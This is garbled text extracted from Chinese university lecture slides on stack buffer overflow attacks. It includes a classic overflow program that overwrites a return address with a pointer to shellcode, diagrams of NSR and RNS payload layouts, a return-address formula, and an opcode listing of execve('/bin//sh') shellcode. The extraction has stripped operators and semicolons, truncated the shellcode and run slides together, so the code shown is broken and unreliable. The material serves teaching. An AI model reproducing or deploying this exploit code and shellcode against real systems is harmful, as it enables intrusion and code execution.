缓冲区溢出攻击技术-栈溢出攻击技术内容摘要:

改后的返回地址,并执行 Shellcode  挑战 1: 将修改后的返回地址填到正确的位置  挑战 2: 返回地址能正确地指向 Shellcode 北京大学计算机科学技术研究所 22 char shellcode[] = \xeb\x1f\x……。 char large_string[128]。 int main(int argc, char **argv){ char buffer[96]。 int i。 long *long_ptr = (long *) large_string。 for (i = 0。 i 32。 i++) *(long_ptr + i) = (int) buffer。 for (i = 0。 i (int) strlen(shellcode)。 i++) large_string[i] = shellcode[i]。 strcpy(buffer, large_string)。 return 0。 } Return add Buffer (96bytes) i long_ptr 高地址 低地址 Para2 Para1 Return add Return add Return add … … shellcode 栈溢出攻击示例 北京大学计算机科学技术研究所 23 Linux系统下的栈溢出攻击  栈溢出攻击  NSR模式  NRS模式   Shellcode  真实世界中的栈溢出攻击 北京大学计算机科学技术研究所 24 NOP shellcode Low Address NOP … NOP … RET RET … RET High Address : : NSR溢出模式 北京大学计算机科学技术研究所 25 RET shellcode Low Address RET … RET … NOP NOP … NOP High Address vulnerable2. c: : RNS溢出模式 北京大学计算机科学技术研究所 26 shellcode Low Address FILE NULL … High Address : : 0xc0000000 RET RET … RET -利用环境变量 北京大学计算机科学技术研究所 27 栈溢出模式分析  挑战  溢出点 (在哪改写返回地址。 )  Shellcode地址 (将返回地址改写成什么。 )  NSR模式  最经典的方法 – Alpha One  需要漏洞程序有足够大的缓冲区  RNS模式  能够适合小缓冲区情况,更容易计算返回地址   最新的方法 : execve (filename, argv [], envp[])。  Ret = 0xc0000000 – 4 – strlen (FILENAME) – strlen (shellcode), 不需要任何 NOP  但对远程缓冲区溢出攻击不适用 北京大学计算机科学技术研究所 28 Shellcode C版本 北京大学计算机科学技术研究所 29 Shellcode 汇编版本 去除 ’ \0’ 北京大学计算机科学技术研究所 30 Shellcode Opcode版本  31 d2 xor %edx,%edx  52 push %edx  68 6e 2f 73 68 push $0x68732f6e  68 2f 2f 62 69 push $0x69622f2f  89 e3 mov %esp,%ebx  52 push %edx  53 push %ebx  89 e1 mov %esp,%ecx  8d 42 0b lea 0xb(%edx),%eax  cd 80 int $0x80 北京大学计算机科学技术研究所 31 给出远程登录的 Shellcode 北京大学计算机科学技术研究所 32 渗透防火墙的 Shellcode  ftl设置 socket状态  scz@nsfocus  发送 OOB数据  bkbll@honke  利用 ioctl函数的 FIONREAD选项  eyas@xfocus  文件上传下载功能 北京大学计算机科学技术研究所 33 在真实 Linux世界中的栈溢出攻击  2020/09。
阅读剩余 0%
本站所有文章资讯、展示的图片素材等内容均为注册用户上传(部分报媒/平媒内容转载自网络合作媒体),仅供学习参考。 用户通过本站上传、发布的任何内容的知识产权归属用户或原始著作权人所有。如有侵犯您的版权,请联系我们反馈本站将在三个工作日内改正。